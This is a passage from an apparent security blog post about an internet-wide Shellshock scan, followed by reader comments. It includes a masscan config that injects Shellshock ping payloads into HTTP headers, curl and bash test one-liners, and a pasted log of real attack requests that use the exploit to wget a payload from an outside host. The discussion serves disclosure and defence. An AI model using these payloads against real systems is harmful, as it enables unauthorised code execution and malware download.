The configuration file for masscan looks something like:
target-ip = 0.0.0.0/0
port = 80
banners = true
http-user-agent = shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)
http-header[Cookie] = () { :; }; ping -c 3 209.126.230.74
http-header[Host] = () { :; }; ping -c 3 209.126.230.74
http-header[Referer] = () { :; }; ping -c 3 209.126.230.74
http-header[Referer] = () { :; }; ping -c 3 209.126.230.74
(Actually, these last three options don't quite work due to bug, so you have to manually add them to the code https://github.com/robertdavidgraham/masscan/blob/master/src/proto-http.c#L120)
Some earlier shows that this bug is widespread:
A discussion of the results is at the next blogpost here. The upshot is this: while this scan found only a few thousand systems (because it's intentionally limited), it looks like the potential for a worm is high.
Some earlier shows that this bug is widespread:
58 comments:
Just got scanned by your scanner ;)
Just got a notification because of your bot.
A lot of those IP addresses you blocked out are pretty easy to read. Just sayin'
Roman, how might someone set up notifications like that?
Got a notification too :)
>> This works by stuffing a bunch of "ping home" commands in various CGI variables.
Please, give us more details on this and write a follow up to this post.
Can you give some more information on your test and what you're looking for? I tried this on a fresh ubuntu system with apache2 installed, vulnerable, nothing. Updated to get a view of what a clean image looks like. Also ran it against Metasploitable.
I know the majority of systems won't respond as vulnerable (as you mentioned in your wormable post). Do you have anything about the proper setup for a system that would report vulnerable so I can get an eye on what to look for?
Thanks for the coverage on this.
You just triggered our IPS!
Close, but no cigar.
Got this error:
PHP Fatal error: Uncaught exception 'UnexpectedValueException' with message 'Invalid Host "() { :; }; ping -c 23 209.126.230.74"'
Not sure if that means the server is vulnerable or not. Thank you for doing this, somehow the news didn't reach me. For those wanting more info:
http://www.theregister.co.uk/2014/09/24/bash_shell_vuln/
http://seclists.org/oss-sec/2014/q3/650
Scanned over here =P
my site just got scanned
Got scanned.
I advise you to rerun the scan, because on typical Django installations all you get is:
SuspiciousOperation: Invalid HTTP_HOST header (you may need to set ALLOWED_HOSTS): () { :; }; ping -c 23 209.126.230.74
i.e. it did not even hit my code.
For those saying that their PHP code detected the invalid host header... know that it doesn't matter, the exploitation happens higher in the chain of calls. In most CGI uses of PHP, you are still vulnerable.
Well the first ip is just 2[00-23].3.219.23 and the last one is 2[0-2]4.3.219.33
You’ve already scanned all four of my private servers in three pretty different subnets. Impressive. They’re all patched now of course.
I also got this scan:
89.207.135.125 - - [2014-09-25 xx:xx:xx+0000] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 301 184 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"
Some people see scans with the same info but from a different IP address. Since the second scan is more dangerous, I suspect they are masquerading as you: http://seenthis.net/messages/296476#message296546
When is the internetsurvey site going to come out?
Michael
Well, we were also scanned by you, but the IDS/IPS system blocked it. (snort is great, use it!)
Isn't this a tiny bit illegal? Certainly is here in the UK, anyway
Is this vulnerability limited to Bourne Again Shell (Bash) or its impacting Bourne shell (sh) as well?
Is freeBSD also impacted
Would rails/nginx be vulnerable to CGI attacks?
how will this affect hosted sites such as hostgator?
What can users do with the provide settings? I run a couple of sites with php and mysql, but don't know how i can test the hoster for vulnerability
Does this end up running as the user of the process that spawned it. IE apache, named?
https://shellshock.detectify.com/
Also got poked by the scan :)
It seems one could also exploit this vulnerability through the PATHINFO environment variable.
Both my sites got hit by your scan: one on a residential ISP and the other on a DigitalOcean droplet.
One was a ruby app, the other is a static page, both behind Nginx servers.
Guess I'll have to set up some intrusion monitoring; but I patched my bash yesterday so here's hoping I didn't return the ping.
Got scanned too, cheers for including a url :)
Anyone knows who is scanning from 89.207.135.125?
Arthur, I am getting scanned by them too. It is a machine hosted at snel.com (send email with logs to report@abuse.bz) in the netherlands, but it is sending pings to a rackspace server in the US (texas). It is unclear who is running the attack.
I have also had attempted exploits from pwn.nixon-security.se and others.
You hit my firewall about 10:23 last night.
Can someone just write a worm that updates peoples bash shells?
Saw your footprint in my server logs ;)
It seems irresponsible to publish IP addresses of vulnerable systems.
I tried to modify code of masscan but it didnt compile well. Can you please code updated with functions to simulate this test (what you have done in the post)?
I got scanned too! 25SEP2014 051051 and 071817 UTC +0800.
I am running ubuntu hardy, yeah I know its old, but ...
bash --version
GNU bash, version 3.2.39(1)-release (i486-pc-linux-gnu)
Copyright (C) 2007 Free Software Foundation, Inc.
mwest@lenovo2:~$ env X="() { :;} ; echo busted" /bin/sh -c "echo stuff"
stuff
Interesting, so not all bash versions up to 4.3 are vulnerable it would seem.
One Silly question:
How can i scan any remote server for shellshock bug. Step by step guidance will be fine.
I need to do it for ethical purposes.
Be careful - You have your public IP available on the internet with potentially a listing of vulnerable Shellshock systems.
You might be the next target.
Got scanned by your scanner, but we were already patched, so you never saw our response.
You scanned me at 2014-09-25
-5:41:55 UTC. Path was not applied at that time but:
* only a redirect at that web request you made
* outbound network activity is blocked.
Patches applied now.
I would guess that you're going to see a log of vulnerable machines, since you started your scan the day the bug was announced. You scanned my servers about 12 hours before I patched them.
Does this exploit affect Window boxes that have Bash installed? i.e. CA Spectrum in a Windows Environment.
Thanks
Regarding comments about earlier versions of Debian and Ubuntu, the example given used /bin/sh rather than /bin/bash.
env X="() { :;} ; echo busted" /bin/sh -c "echo stuff"
Now try replace /bin/sh with /bin/bash
On those distributions you'll find that by default /bin/sh is a symbolic link to dash, another shell which does not have the problem. This is helpful for CGI scripts that use #!/bin/sh but you'll still need to patch bash.
For systems running older software distributions where a patch may not be available, the instructions at the following link on how to compile an updated and patched bash might be useful:
https://gist.github.com/mattwhite/86de50d30134129e44ef
Hello,
I don't understand how this exploit works when just hitting the root path of the server. My understanding is it requires a CGI script that is written or calls bash to be exploitable. Is this from broken http servers?
Very interesting. I can't get any tests to work with curl. I fired up a sample of your masscan and shiazm I can get hundreds of hosts to ping me. But I can't get a single one to report break when I test w/
curl -i -X HEAD "http://$$$.$$$.$$$.$$$/" -A '() { :;}; echo "Warning: Server Vulnerable"'
Any thoughts?
@all keep in mind that the user agent is completely arbitrary, anybody using the examples will use the URL from the blog post. We have seen the url in scans on some machines, but that doesn't mean that its really from the original script.
@Chrstfer unless you have an IPS, the easiest way is to add something at the top of each php page (or what you are using) and match the header vars against the exploit string and log that (will not help for actual cgi exploits since it may happen before the script gets called)
@zyphlar php is not directly exploitable since it doesn't set env vars and doesn't call bash, this is more likely a validation issue in your scripts
@tillo that is not correct, CGI by itself is not exploitable and mod_php does not even use CGI
@S whether it is illegal or not will not help you when your site goes down ...
@Mrityunjay Ranjan bourne shell isn't (there is no bourne shell on linux or freebsd of course due to licensing), freebsd will usually have bash, but not as /bin/sh replacement
@jah richie rails does not use CGI, so not directly, it may be due to other issues (unlikely)
@SojuMaster the issue is present e.g. in cygwin, but unless you run a webserver, its unlikely that its exploitable
@shawn updating bash requires root, the exploit will run as the local user (e.g. wwwrun)
@Raoul Duke / might be a cgi script, but it usually isn't
@Ryan Pavely accessing / path ist not likely to hit a CGI
Thanks Sean, re-hardy comment - you are correct
Thx @Alexnader for all the replies. I do understand that / is most likely not a CGI. But when I run masscan with the supplied config it finds hosts. I then picked one to test w/ curl and could not reproduce any of the same results.
What is masscan doing different besides that curl is passing -A (user-agent).. ?
@Ryan actually masscan does not use User-Agent, rather it puts the malicious string into the Host, Referer and Cookies header, not sure if that should make a difference.
Well if you noticed, that is then able to exploit anything irregardless of CGI existence. A random test of a local pool of Akamai servers sent me lots of ICMP replies.
So the question would be for CURL folks, how to replicate this.
Very scary. Especially now since folks are realizing this is not just a remote access exploit. It can also be used with many setuid programs (like vmware) and such to gain root access.
10 out of 10 my ass. I call this a 20.
If it is not working with curl, it should be possible to create a http request and send that with netcat. It will only work with CGI scripts unless anther web API also communicates with enviroment vars and runs a shell script afterwards, mod_php and similar things like tomcat will not do that. (I wonder why it happens with akamai, though)
I was scanned by your scanner back on the 24th.
209.126.230.72 - - [24/Sep/2014:17:31:52 -0700] "GET / HTTP/1.0" 301 237 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
At the time, I was using an old Debian Lenny web server. I replaced it with a wheezy based system yesterday. It hasn't been online for 24 hours yet and...
194.54.9.11 - - [28/Sep/2014:19:07:14 -0700] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.1" 301 525 "-" "() { :;}; /bin/bash -c \"wget http://217.12.204.127/bin\""
194.54.9.11 - - [28/Sep/2014:19:07:34 -0700] "GET /var/www/html/admin.cgi HTTP/1.1" 301 543 "-" "() { :;}; /bin/bash -c \"wget http://217.12.204.127/bin\""
194.54.9.11 - - [28/Sep/2014:19:07:54 -0700] "GET /tmUnblock.cgi HTTP/1.1" 301 499 "-" "() { :;}; /bin/bash -c \"wget http://217.12.204.127/bin\""
194.54.9.11 - - [28/Sep/2014:19:08:14 -0700] "GET /var/www/cgi-bin/test-cgi HTTP/1.1" 301 521 "-" "() { :;}; /bin/bash -c \"wget http://217.12.204.127/bin\""
194.54.9.11 - - [28/Sep/2014:19:08:34 -0700] "GET /cgi-bin/hello HTTP/1.1" 301 499 "-" "() { :;}; /bin/bash -c \"wget http://217.12.204.127/bin\""
194.54.9.11 - - [28/Sep/2014:19:08:54 -0700] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 301 523 "-" "() { :;}; /bin/bash -c \"wget http://217.12.204.127/bin\""
194.54.9.11 - - [28/Sep/2014:19:09:14 -0700] "GET /cgi-mod/index.cgi HTTP/1.1" 301 507 "-" "() { :;}; /bin/bash -c \"wget http://217.12.204.127/bin\""
194.54.9.11 - - [28/Sep/2014:19:09:34 -0700] "GET /cgi-bin/test.cgi HTTP/1.1" 301 505 "-" "() { :;}; /bin/bash -c \"wget http://217.12.204.127/bin\""
194.54.9.11 - - [28/Sep/2014:19:09:54 -0700] "GET /cgi-bin-sdb/printenv HTTP/1.1" 301 513 "-" "() { :;}; /bin/bash -c \"wget http://217.12.204.127/bin\""
So thanks for the heads up! I didn't have mod_cgi enabled but it's only a matter of time regardless.
Do not do a playful thing!
Very annoying!
Malware are really smart guys, they are now using something which looks more credible, :(
Javin
Post a Comment